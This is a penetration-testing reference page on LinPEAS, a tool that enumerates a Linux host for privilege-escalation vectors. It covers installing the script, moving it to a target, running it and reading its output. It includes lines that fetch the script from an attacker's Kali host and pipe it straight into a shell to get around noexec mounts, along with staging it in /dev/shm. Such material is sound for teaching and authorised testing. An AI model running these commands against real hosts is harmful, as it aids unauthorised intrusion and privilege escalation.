Tools
LinPEAS
LinPEAS enumerates a Linux host for privilege escalation vectors and highlights the most promising findings by likelihood. It is the automated first pass after a foothold, run alongside the manual checks in Privilege Escalation.
Install
Download the latest release on Kali:
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh -o linpeas.sh
Kali may also ship it through the peass-ng package. Locate an installed copy with:
find / -name linpeas.sh 2>/dev/null
Transfer to the Target
LinPEAS runs on the target, so it has to get there from Kali. Serve it over HTTP:
# On Kali, in the directory holding linpeas.sh
sudo python3 -m http.server 80
Fetch and run it on the target. Piping straight into a shell avoids writing to disk, which sidesteps a noexec mount or a directory without the execute bit:
curl http://KALI/linpeas.sh | sh
# or
wget -qO- http://KALI/linpeas.sh | sh
If it must be written to disk, use a directory that is writable and executable. /dev/shm is a good fallback when /tmp is mounted noexec:
cd /dev/shm
wget http://KALI/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
Run
Save the output so it can be reviewed without rerunning:
./linpeas.sh | tee linpeas.txt
Useful options:
-a: All checks. Slower and noisier, but more thorough. Worth it when the quick pass finds nothing.-s: Superfast and quieter, fewer checks.-e: Extra enumeration.-P <password>: Supply a known password so it can testsudo -land password reuse.-o <groups>: Run only selected check groups.
Read the Output
LinPEAS colours findings by how likely they are to lead to escalation:
- Red on yellow background: a 95%-likely privilege escalation vector. Start here.
- Red: interesting, check it.
- Yellow, green: informational.
The colours can be lost or garbled over a raw reverse shell. Piping to tee and reviewing the file on Kali keeps things readable:
# Preserve the colours when reading the saved file
less -R linpeas.txt
Confirm and reproduce anything LinPEAS flags before acting on it. A highlighted SUID binary or writable file is a lead, not a finished exploit. Feed the confirmed findings into the triage order in Privilege Escalation.